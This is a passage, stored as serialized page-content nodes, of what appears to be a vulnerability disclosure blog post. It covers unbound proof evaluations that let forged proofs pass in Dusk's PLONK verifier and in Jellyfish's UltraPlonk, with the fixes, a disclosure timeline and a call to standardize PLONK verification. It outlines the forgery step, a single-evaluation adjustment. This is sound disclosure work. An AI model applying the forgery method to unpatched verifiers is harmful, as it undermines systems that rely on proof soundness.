",{"type":26,"tag":163,"props":23731,"children":23734},{"href":23732,"rel":23733},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[167],[23735],{"type":26,"tag":83,"props":23736,"children":23738},{"className":23737},[],[23739],{"type":32,"value":22841},{"type":32,"value":23741}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":26,"tag":39,"props":23743,"children":23744},{},[23745,23747,23754],{"type":32,"value":23746},"This was done in ",{"type":26,"tag":163,"props":23748,"children":23751},{"href":23749,"rel":23750},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[167],[23752],{"type":32,"value":23753},"commit 645265b7",{"type":32,"value":23755},", which landed on February 14, 2026.",{"type":26,"tag":11933,"props":23757,"children":23758},{},[],{"type":26,"tag":27,"props":23760,"children":23762},{"id":23761},"why-was-this-missed",[23763],{"type":32,"value":23764},"Why was this missed?",{"type":26,"tag":39,"props":23766,"children":23767},{},[23768,23770,23777,23779,23786,23788,23795,23797,23804],{"type":32,"value":23769},"Dusk's stack had been heavily audited: a ",{"type":26,"tag":163,"props":23771,"children":23774},{"href":23772,"rel":23773},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[167],[23775],{"type":32,"value":23776},"December 2023 audit of dusk-plonk",{"type":32,"value":23778},", a ",{"type":26,"tag":163,"props":23780,"children":23783},{"href":23781,"rel":23782},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[167],[23784],{"type":32,"value":23785},"September 2024 audit of Phoenix",{"type":32,"value":23787},", and a ",{"type":26,"tag":163,"props":23789,"children":23792},{"href":23790,"rel":23791},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[167],[23793],{"type":32,"value":23794},"September 2024 Oak Security audit of the Rusk node library",{"type":32,"value":23796},". Dusk's public ",{"type":26,"tag":163,"props":23798,"children":23801},{"href":23799,"rel":23800},"https://dusk.network/news/audits-overview",[167],[23802],{"type":32,"value":23803},"audits overview",{"type":32,"value":23805}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":26,"tag":39,"props":23807,"children":23808},{},[23809,23811,23816],{"type":32,"value":23810},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":26,"tag":65,"props":23812,"children":23813},{},[23814],{"type":32,"value":23815},"evaluations",{"type":32,"value":180},{"type":26,"tag":39,"props":23818,"children":23819},{},[23820],{"type":32,"value":23821},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":26,"tag":39,"props":23823,"children":23824},{},[23825],{"type":32,"value":23826},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":26,"tag":27,"props":23828,"children":23830},{"id":23829},"a-similar-bug-in-espresso-systems-jellyfish",[23831],{"type":32,"value":23832},"A similar bug in Espresso Systems' Jellyfish",{"type":26,"tag":39,"props":23834,"children":23835},{},[23836,23838,23845],{"type":32,"value":23837},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":26,"tag":163,"props":23839,"children":23842},{"href":23840,"rel":23841},"https://github.com/EspressoSystems/jellyfish/",[167],[23843],{"type":32,"value":23844},"jf-plonk",{"type":32,"value":23846}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":26,"tag":39,"props":23848,"children":23849},{},[23850,23852,23859,23861,23872,23874,23900,23902,23927],{"type":32,"value":23851},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":26,"tag":163,"props":23853,"children":23856},{"href":23854,"rel":23855},"https://eprint.iacr.org/2020/315",[167],[23857],{"type":32,"value":23858},"Plookup",{"type":32,"value":23860}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":26,"tag":163,"props":23862,"children":23865},{"href":23863,"rel":23864},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[167],[23866],{"type":26,"tag":83,"props":23867,"children":23869},{"className":23868},[],[23870],{"type":32,"value":23871},"append_plookup_evaluations",{"type":32,"value":23873}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":26,"tag":83,"props":23875,"children":23877},{"className":23876},[213,4703],[23878],{"type":26,"tag":217,"props":23879,"children":23881},{"className":23880},[225],[23882],{"type":26,"tag":217,"props":23883,"children":23885},{"className":23884,"ariaHidden":231},[230],[23886],{"type":26,"tag":217,"props":23887,"children":23889},{"className":23888},[236],[23890,23894],{"type":26,"tag":217,"props":23891,"children":23893},{"className":23892,"style":6316},[241],[],{"type":26,"tag":217,"props":23895,"children":23897},{"className":23896,"style":2326},[247,2152],[23898],{"type":32,"value":23899},"v",{"type":32,"value":23901}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":26,"tag":83,"props":23903,"children":23905},{"className":23904},[213,4703],[23906],{"type":26,"tag":217,"props":23907,"children":23909},{"className":23908},[225],[23910],{"type":26,"tag":217,"props":23911,"children":23913},{"className":23912,"ariaHidden":231},[230],[23914],{"type":26,"tag":217,"props":23915,"children":23917},{"className":23916},[236],[23918,23922],{"type":26,"tag":217,"props":23919,"children":23921},{"className":23920,"style":6316},[241],[],{"type":26,"tag":217,"props":23923,"children":23925},{"className":23924,"style":2326},[247,2152],[23926],{"type":32,"value":23899},{"type":32,"value":23928},", so the prover can adjust them after the fact to make the check pass.",{"type":26,"tag":39,"props":23930,"children":23931},{},[23932,23934,23940,23942,23948],{"type":32,"value":23933},"The attack requires modifying a single evaluation (",{"type":26,"tag":83,"props":23935,"children":23937},{"className":23936},[],[23938],{"type":32,"value":23939},"key_table_next_eval",{"type":32,"value":23941},") by ",{"type":26,"tag":83,"props":23943,"children":23945},{"className":23944},[],[23946],{"type":32,"value":23947},"delta / (u * v^3)",{"type":32,"value":23949}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":26,"tag":39,"props":23951,"children":23952},{},[23953,23955,23962,23964,23975],{"type":32,"value":23954},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":26,"tag":163,"props":23956,"children":23959},{"href":23957,"rel":23958},"https://github.com/EspressoSystems/jellyfish/pull/867",[167],[23960],{"type":32,"value":23961},"PR #867",{"type":32,"value":23963}," fixed the issue and was tagged as ",{"type":26,"tag":163,"props":23965,"children":23968},{"href":23966,"rel":23967},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[167],[23969],{"type":26,"tag":83,"props":23970,"children":23972},{"className":23971},[],[23973],{"type":32,"value":23974},"jf-plonk-v0.8.0",{"type":32,"value":23976}," on March 18, 2026.",{"type":26,"tag":11933,"props":23978,"children":23979},{},[],{"type":26,"tag":27,"props":23981,"children":23983},{"id":23982},"toward-standardization",[23984],{"type":32,"value":23985},"Toward standardization",{"type":26,"tag":39,"props":23987,"children":23988},{},[23989,23991,23998],{"type":32,"value":23990},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":26,"tag":163,"props":23992,"children":23995},{"href":23993,"rel":23994},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[167],[23996],{"type":32,"value":23997},"similar patterns appear across zkVMs",{"type":32,"value":23999},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":26,"tag":39,"props":24001,"children":24002},{},[24003],{"type":32,"value":24004},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":26,"tag":39,"props":24006,"children":24007},{},[24008],{"type":32,"value":24009},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":26,"tag":27,"props":24011,"children":24013},{"id":24012},"disclosure-timeline",[24014],{"type":32,"value":24015},"Disclosure timeline",{"type":26,"tag":22343,"props":24017,"children":24018},{},[24019,24035],{"type":26,"tag":22347,"props":24020,"children":24021},{},[24022],{"type":26,"tag":22351,"props":24023,"children":24024},{},[24025,24030],{"type":26,"tag":22355,"props":24026,"children":24027},{},[24028],{"type":32,"value":24029},"Date",{"type":26,"tag":22355,"props":24031,"children":24032},{},[24033],{"type":32,"value":24034},"Event",{"type":26,"tag":22366,"props":24036,"children":24037},{},[24038,24051,24064,24076,24102,24122],{"type":26,"tag":22351,"props":24039,"children":24040},{},[24041,24046],{"type":26,"tag":22373,"props":24042,"children":24043},{},[24044],{"type":32,"value":24045},"2026-02-13",{"type":26,"tag":22373,"props":24047,"children":24048},{},[24049],{"type":32,"value":24050},"Dusk vulnerability reported",{"type":26,"tag":22351,"props":24052,"children":24053},{},[24054,24059],{"type":26,"tag":22373,"props":24055,"children":24056},{},[24057],{"type":32,"value":24058},"2026-02-14",{"type":26,"tag":22373,"props":24060,"children":24061},{},[24062],{"type":32,"value":24063},"Dusk acknowledged",{"type":26,"tag":22351,"props":24065,"children":24066},{},[24067,24071],{"type":26,"tag":22373,"props":24068,"children":24069},{},[24070],{"type":32,"value":24058},{"type":26,"tag":22373,"props":24072,"children":24073},{},[24074],{"type":32,"value":24075},"Dusk fix committed",{"type":26,"tag":22351,"props":24077,"children":24078},{},[24079,24084],{"type":26,"tag":22373,"props":24080,"children":24081},{},[24082],{"type":32,"value":24083},"2026-02-27",{"type":26,"tag":22373,"props":24085,"children":24086},{},[24087,24089,24100],{"type":32,"value":24088},"Public ",{"type":26,"tag":163,"props":24090,"children":24093},{"href":24091,"rel":24092},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[167],[24094],{"type":26,"tag":83,"props":24095,"children":24097},{"className":24096},[],[24098],{"type":32,"value":24099},"dusk-rusk-1.6.0",{"type":32,"value":24101}," release published",{"type":26,"tag":22351,"props":24103,"children":24104},{},[24105,24110],{"type":26,"tag":22373,"props":24106,"children":24107},{},[24108],{"type":32,"value":24109},"2026-03-16",{"type":26,"tag":22373,"props":24111,"children":24112},{},[24113,24115,24121],{"type":32,"value":24114},"Jellyfish fix PR opened (",{"type":26,"tag":163,"props":24116,"children":24118},{"href":23957,"rel":24117},[167],[24119],{"type":32,"value":24120},"#867",{"type":32,"value":1889},{"type":26,"tag":22351,"props":24123,"children":24124},{},[24125,24130],{"type":26,"tag":22373,"props":24126,"children":24127},{},[24128],{"type":32,"value":24129},"2026-03-18",{"type":26,"tag":22373,"props":24131,"children":24132},{},[24133,24135,24140,24142],{"type":32,"value":24134},"Jellyfish fix merged in ",{"type":26,"tag":163,"props":24136,"children":24138},{"href":23957,"rel":24137},[167],[24139],{"type":32,"value":24120},{"type":32,"value":24141}," and tagged as ",{"type":26,"tag":163,"props":24143,"children":24145},{"href":23966,"rel":24144},[167],[24146],{"type":26,"tag":83,"props":24147,"children":24149},{"className":24148},[],[24150],{"type":32,"value":23974},{"type":26,"tag":27,"props":24152,"children":24154},{"id":24153},"acknowledgements",[24155],{"type":32,"value":24156},"Acknowledgements",{"type":26,"tag":39,"props":24158,"children":24159},{},[24160],{"type":32,"value":24161},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":8,"searchDepth":6770,"depth":6770,"links":24163},[24164,24171,24172,24173,24174,24175,24176,24177,24178,24179,24180,24181],{"id":18939,"depth":6770,"text":18942,"children":24165},[24166,24167,24168,24169,24170],{"id":18964,"depth":6779,"text":18967},{"id":19780,"depth":6779,"text":19783},{"id":20985,"depth":6779,"text":20988},{"id":21015,"depth":6779,"text":21018},{"id":21299,"depth":6779,"text":21302},{"id":22034,"depth":6770,"text":22037},{"id":22173,"depth":6770,"text":22176},{"id":22813,"depth":6770,"text":22816},{"id":23416,"depth":6770,"text":23419},{"id":23553,"depth":6770,"text":23556},{"id":23668,"depth":6770,"text":23671},{"id":23761,"depth":6770,"text":23764},{"id":23829,"depth":6770,"text":23832},{"id":23982,"depth":6770,"text":23985},{"id":24012,"depth":6770,"text":24015},{"id":24153,"depth":6770,"text":24156},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",1790954630629]